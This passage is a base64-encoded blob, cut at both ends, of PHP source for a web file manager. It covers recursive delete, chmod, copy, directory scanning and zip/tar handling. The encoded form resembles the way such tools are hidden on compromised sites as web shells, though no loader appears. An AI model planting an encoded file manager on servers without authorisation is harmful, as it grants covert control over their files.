gkZm9sZGVycykgJiYgZW1wdHkoJGZpbGVzKSkgeyA/PgogICAgICAgICAgICAgICAgPHRmb290PgogICAgICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iPD9waHAgZWNobyAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scykgPyAnNicgOiAnNCcgPz4iPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48L2VtPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGZvb3Q+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICB9IGVsc2UgeyA/PgogICAgICAgICAgICAgICAgPHRmb290PgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJncmF5IiBjb2xzcGFuPSI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6JzcnKSA6IChGTV9SRUFET05MWSA/ICc0JyA6ICc1JykgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykuJzogPHNwYW4gY2xhc3M9ImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wIj4nLmZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpLic8L3NwYW4+JyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZpbGUnKS4nOiA8c3BhbiBjbGFzcz0iYmFkZ2UgdGV4dC1iZy1saWdodCBib3JkZXItcmFkaXVzLTAiPicuJG51bV9maWxlcy4nPC9zcGFuPicgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGb2xkZXInKS4nOi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YXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvayA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gKCRvaykgPyBybWRpcigkcGF0aCkgOiBmYWxzZTsKICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoKSkgewogICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogUmVjdXJzaXZlIGNobW9kCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHBhcmFtIGludCAkZmlsZW1vZGUKICogQHBhcmFtIGludCAkZGlybW9kZQogKiBAcmV0dXJuIGJvb2wKICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZAogKi8KZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKQp7CiAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7CiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY2htb2QoJHBhdGggLiAnLycgLiAkZmlsZSwgJGZpbGVtb2RlLCAkZGlybW9kZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAg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ICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsOwp9CgovKioKICogQ29weSBmaWxlIG9yIGZvbGRlciAocmVjdXJzaXZlbHkpLgogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEBwYXJhbSBzdHJpbmcgJGRlc3QKICogQHBhcmFtIGJvb2wgJHVwZCBVcGRhdGUgZmlsZXMKICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZQogKiBAcmV0dXJuIGJvb2wKICovCmZ1bmN0aW9uIGZtX3Jjb3B5KCRwYXRoLCAkZGVzdCwgJHVwZCA9IHRydWUsICRmb3JjZSA9IHRydWUpCnsKICAgIGlmIChpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgaWYgKCFmbV9ta2RpcigkZGVzdCwgJGZvcmNlKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7CiAgICAgICAgJG9rID0gdHJ1ZTsKICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7CiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KCRwYXRoIC4gJy8nIC4gJGZpbGUsICRkZXN0IC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvayA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG9rOwogICAgfSBlbHNlaWY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vIGFib3V0IHppcCBhcmNoaXZlCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHJldHVybiBhcnJheXxib29sCiAqLwpmdW5jdGlvbiBmbV9nZXRfemlmX2luZm8oJHBhdGgsICRleHQpIHsKICAgIGlmICgkZXh0ID09ICd6aXAnICYmIGZ1bmN0aW9uX2V4aXN0cygnemlwX29wZW4nKSkgewogICAgICAgICRhcmNoID0gQHppcF9vcGVuKCRwYXRoKTsKICAgICAgICBpZiAoJGFyY2gpIHsKICAgICAgICAgICAgJGZpbGVuYW1lcyA9IGFycmF5KCk7CiAgICAgICAgICAgIHdoaWxlICgkemlwX2VudHJ5ID0gQHppcF9yZWFkKCRhcmNoKSkgewogICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpOwogICAgICAgICAgICAgICAgJHppcF9mb2xkZXIgPSBzdWJzdHIoJHppcF9uYW1lLCAtMSkgPT0gJy8nOwogICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICR6aXBfbmFtZSwKICAgICAgICAgICAgICAgICAgICAnZmlsZXNpemUnID0+IEB6aXBfZW50cnlfZmlsZXNpemUoJHppcF9lbnRyeSksCiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSwKICAgICAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlcgogICAgICAgICAgICAgICAgICAgIC8vJ2NvbXByZXNzaW9uX21ldGhvZCcgPT4gemlwX2VudHJ5X2NvbXByZXNzaW9ubWV0aG9kKCR6aXBfZW50cnkpLAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAemlwX2Nsb3NlKCRhcmNoKTsKICAgICAgICAgICAgcmV0dXJuICRmaW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m4gc3RyaW5nCiAqLwpmdW5jdGlvbiBmbV9jb252ZXJ0X3dpbigkZmlsZW5hbWUpCnsKICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7CiAgICAgICAgJGZpbGVuYW1lID0gaWNvbnYoRk1fSUNPTlZfSU5QVVRfRU5DLCAnVVRGLTgvL0lHTk9SRScsICRmaWxlbmFtZSk7CiAgICB9CiAgICByZXR1cm4gJGZpbGVuYW1lOwp9CgovKioKICogQHBhcmFtICRvYmoKICogQHJldHVybiBhcnJheQogKi8KZnVuY3Rpb24gZm1fb2JqZWN0X3RvX2FycmF5KCRvYmopCnsKICAgIGlmICghaXNfb2JqZWN0KCRvYmopICYmICFpc19hcnJheSgkb2JqKSkgewogICAgICAgIHJldHVybiAkb2JqOwogICAgfQogICAgaWYgKGlzX29iamVjdCgkb2JqKSkgewogICAgICAgICRvYmogPSBnZXRfb2JqZWN0X3ZhcnMoJG9iaik7CiAgICB9CiAgICByZXR1cm4gYXJyYXlfbWFwKCdmbV9vYmplY3RfdG9fYXJyYXknLCAkb2JqKTsKfQoKLyoqCiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGgpCnsKICAgIC8vIGdldCBleHRlbnNpb24KICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRwYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKCiAgICBzd2l0Y2ggKCRleHQpIHsKICAgICAgICBjYXNlICdpY28nOgogICAgICAgIGNhc2UgJ2dpZic6CiAgICAgICAgY2FzZSAnanBnJzoKICAgICAgICBjYXNlICdqcGVnJzoKICAgICAgICBjYXNlICdqcGMnOgogICAgICAgIGNhc2UgJ2pwMic6CiAgICAgICAgY2FzZSAnanB4JzoKICAgICAgICBjYXNlICd4Ym0nOgogICAgICAgIGNhc2UgJ3dibXAnOgogICAgICAgIGNhc2UgJ3BuZyc6CiAgICAgICAgY2FzZSAnYm1wJzoKICAgICAgICBjYXNlICd0aWYnOgogICAgICAgIGNhc2UgJ3RpZmYnOgogICAgICAgIGNhc2UgJ3dlYnAnOgogICAgICAgIGNhc2UgJ2F2aWYnOgogICAgICAgIGNhc2UgJ3N2Zyc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtcGljdHVyZS1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGFzc3dkJzoKICAgICAgICBjYXNlICdmdHBxdW90YSc6CiAgICAgICAgY2FzZSAnc3FsJzoKICAgICAgICBjYXNlICdqcyc6CiAgICAgICAgY2FzZSAndHMnOgogICAgICAgIGNhc2UgJ2pzeCc6CiAgICAgICAgY2FzZSAndHN4JzoKICAgICAgICBjYXNlICdoYnMnOgogICAgICAgIGNhc2UgJ2pzb24nOgogICAgICAgIGNhc2UgJ3NoJzoKICAgICAgICBjYXNlICdjb25maWcnOgogICAgICAgIGNhc2UgJ3R3aWcnOgogICAgICAgIGNhc2UgJ3RwbCc6CiAgICAgICAgY2FzZSAnbWQnOgogICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6CiAgICAgICAgY2FzZSAnYyc6CiAgICAgICAgY2FzZSAnY3BwJzoKICAgICAgICBjYXNlICdjcyc6CiAgICAgICAgY2FzZSAncHknOgogICAgICAgIGNhc2UgJ3JzJzoKICAgICAgICBjYXNlICdtYXAnOgogICAgICAgIGNhc2UgJ2xvY2snOgogICAgICAgIGNhc2UgJ2R0ZCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd0eHQnOgogICAgICAgIGNhc2UgJ2luaSc6CiAgICAgICAgY2FzZSAnY29uZic6CiAgICAgICAgY2FzZSAnbG9nJzoKICAgICAgICBjYXNlICdodGFjY2Vzcyc6CiAgICAgICAgY2FzZSAneWFtbCc6CiAgICAgICAgY2FzZSAneW1sJzoKICAgICAgICBjYXNlICd0b21sJzoKICAgICAgICBjYXNlICd0bXAnOgogICAgICAgIGNhc2UgJ3RvcCc6CiAgICAgICAgY2FzZSAnYm90JzoKICAgICAgICBjYXNlICdkYXQnOgogICAgICAgIGNhc2UgJ2Jhayc6CiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOgogICAgICAgIGNhc2UgJ3BsJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2Nzcyc6CiAgICAgICAgY2FzZSAnbGVzcyc6CiAgICAgICAgY2FzZSAnc2Fzcyc6CiAgICAgICAgY2FzZSAnc2Nzcyc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY3NzMyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2J6Mic6CiAgICAgICAgY2FzZSAndGJ6Mic6CiAgICAgICAgY2FzZSAndGJ6JzoKICAgICAgICBjYXNlICd6aXAnOgogICAgICAgIGNhc2UgJ3Jhcic6CiAgICAgICAgY2FzZSAnZ3onOgogICAgICAgIGNhc2UgJ3Rneic6CiAgICAgICAgY2FzZSAndGFyJzoKICAgICAgICBjYXNlICc3eic6CiAgICAgICAgY2FzZSAneHonOgogICAgICAgIGNhc2UgJ3R4eic6CiAgICAgICAgY2FzZSAnenN0JzoKICAgICAgICBjYXNlICd0enN0JzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWFyY2hpdmUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgY2FzZSAncGhwNCc6CiAgICAgICAgY2FzZSAncGhwNSc6CiAgICAgICAgY2FzZSAncGhwcyc6CiAgICAgICAgY2FzZSAncGh0bWwnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdodG0nOgogICAgICAgIGNhc2UgJ2h0bWwnOgogICAgICAgIGNhc2UgJ3NodG1sJzoKICAgICAgICBjYXNlICd4aHRtbCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd4bWwnOgogICAgICAgIGNhc2UgJ3hzbCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnd2F2JzoKICAgICAgICBjYXNlICdtcDMnOgogICAgICAgIGNhc2UgJ21wMic6CiAgICAgICAgY2FzZSAnbTRhJzoKICAgICAgICBjYXNlICdhYWMnOgogICAgICAgIGNhc2UgJ29nZyc6CiAgICAgICAgY2FzZSAnb2dhJzoKICAgICAgICBjYXNlICd3bWEnOgogICAgICAgIGNhc2UgJ21rYSc6CiAgICAgICAgY2FzZSAnZmxhYyc6CiAgICAgICAgY2FzZSAnYWMzJzoKICAgICAgICBjYXNlICd0ZHMnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnbTN1JzoKICAgICAgICBjYXNlICdtM3U4JzoKICAgICAgICBjYXNlICdwbHMnOgogICAgICAgIGNhc2UgJ2N1ZSc6CiAgICAgICAgY2FzZSAneHNwZic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaGVhZHBob25lcyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2F2aSc6CiAgICAgICAgY2FzZSAnbXBnJzoKICAgICAgICBjYXNlICdtcGVnJzoKICAgICAgICBjYXNlICdtcDQnOgogICAgICAgIGNhc2UgJ200dic6CiAgICAgICAgY2FzZSAnZmx2JzoKICAgICAgICBjYXNlICdmNHYnOgogICAgICAgIGNhc2UgJ29nbSc6CiAgICAgICAgY2FzZSAnb2d2JzoKICAgICAgICBjYXNlICdtb3YnOgogICAgICAgIGNhc2UgJ21rdic6CiAgICAgICAgY2FzZSAnM2dwJzoKICAgICAgICBjYXNlICdhc2YnOgogICAgICAgIGNhc2UgJ3dtdic6CiAgICAgICAgY2FzZSAnd2VibSc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZW1sJzoKICAgICAgICBjYXNlICdtc2cnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWVudmVsb3BlLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd4bHMnOgogICAgICAgIGNhc2UgJ3hsc3gnOgogICAgICAgIGNhc2UgJ29kcyc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnY3N2JzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2Jhayc6CiAgICAgICAgY2FzZSAnc3dwJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jbGlwYm9hcmQnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdkb2MnOgogICAgICAgIGNhc2UgJ2RvY3gnOgogICAgICAgIGNhc2UgJ29kdCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICdwcHQnOgogICAgICAgIGNhc2UgJ3BwdHgnOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtcG93ZXJwb2ludC1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAndHRmJzoKICAgICAgICBjYXNlICd0dGMnOgogICAgICAgIGNhc2UgJ290Zic6CiAgICAgICAgY2FzZSAnd29mZic6CiAgICAgICAgY2FzZSAnd29mZjInOgogICAgICAgIGNhc2UgJ2VvdCc6CiAgICAgICAgY2FzZSAnZm9uJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1mb250JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncGRmJzoKICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBkZi1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncHNkJzoKICAgICAgICBjYXNlICdhaSc6CiAgICAgICAgY2FzZSAnZXBzJzoKICAgICAgICBjYXNlICdmbGEnOgogICAgICAgIGNhc2UgJ3N3Zic6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1pbWFnZS1vJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnZXhlJzoKICAgICAgICBjYXNlICdtc2knOgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2JhdCc6CiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJzsKICAgIH0KCiAgICByZXR1cm4gJGltZzsKfQoKLyoqCiAqIEdldCBpbWFnZSBmaWxlcyBleHRlbnNpb25zCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKCkKewogICAgcmV0dXJuIGFycmF5KCdpY28nLCAnZ2lmJywgJ2pwZycsICdqcGVnJywgJ2pwYycsICdqcDInLCAnanB4JywgJ3hibScsICd3Ym1wJywgJ3BuZycsICdibXAnLCAndGlmJywgJ3RpZmYnLCAncHNkJywgJ3N2ZycsICd3ZWJwJyw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ogKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXIKICogQHJldHVybiBhcnJheXxudWxsCiAqLwogZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJykgewogICAgJHBhdGggPSBGTV9ST09UX1BBVEguJy8nLiRkaXI7CiAgICAgaWYoJHBhdGgpIHsKICAgICAgICAgJGl0ZSA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcGF0aCkpOwogICAgICAgICAkcmlpID0gbmV3IFJlZ2V4SXRlcmF0b3IoJGl0ZSwgIi8oIiAuICRmaWx0ZXIgLiAiKS9pIik7CgogICAgICAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7CiAgICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7CiAgICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7CiAgICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7CiAgICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgIm5hbWUiID0+ICRmaWxlTmFtZSwKICAgICAgICAgICAgICAgICAgICAgInR5cGUiID0+ICJmaWxlIiwKICAgICAgICAgICAgICAgICAgICAgInBhdGgiID0+ICRsb2NhdGlvbiwKICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgfQogICAgICAgICB9CiAgICAgICAgIHJldHVybiAkZmlsZXM7CiAgICAgfQp9CgovKioKKiBQYXJhbWV0ZXJzOiBkb3dubG9hZEZpbGUoRmlsZSBMb2NhdGlvbiwgRmlsZSBOYW1lLAoqIG1heCBzcGVlZCwgaXMgc3RyZWFtaW5nCiogSWYgc3RyZWF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9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpOwogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+YWRkRmlsZU9yRGlyKCRmaWxlcykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aCkKICAgIHsKICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUpOwogICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHsKICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmaWxlL2ZvbGRlciB0byBhcmNoaXZlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICBpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7CiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkZmlsZW5hbWUpKSB7CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHkKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aCkKICAgIHsKICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEVtcHR5RGlyKCRwYXRoKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7CiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnppcC0+YWRkRmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCi8qKgogKiBDbGFzcyB0byB3b3JrIHdpdGggVGFyIGZpbGVzICh1c2luZyBQaGFyRGF0YSkKICovCmNsYXNzIEZNX1ppcHBlcl9UYXIKewogICAgcHJpdmF0ZSAkdGFyOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICB7CiAgICAgICAgJHRoaXMtPnRhciA9IG51bGw7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gYXJyYXl8c3RyaW5nICRmaWxlcwogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpCiAgICB7CiAgICAgICAgJHRoaXMtPnRhciA9IG5ldyBQaGFyRGF0YSgkZmlsZW5hbWUpOwogICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGYgPSBmbV9jbGVhbl9wYXRoKCRmKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXR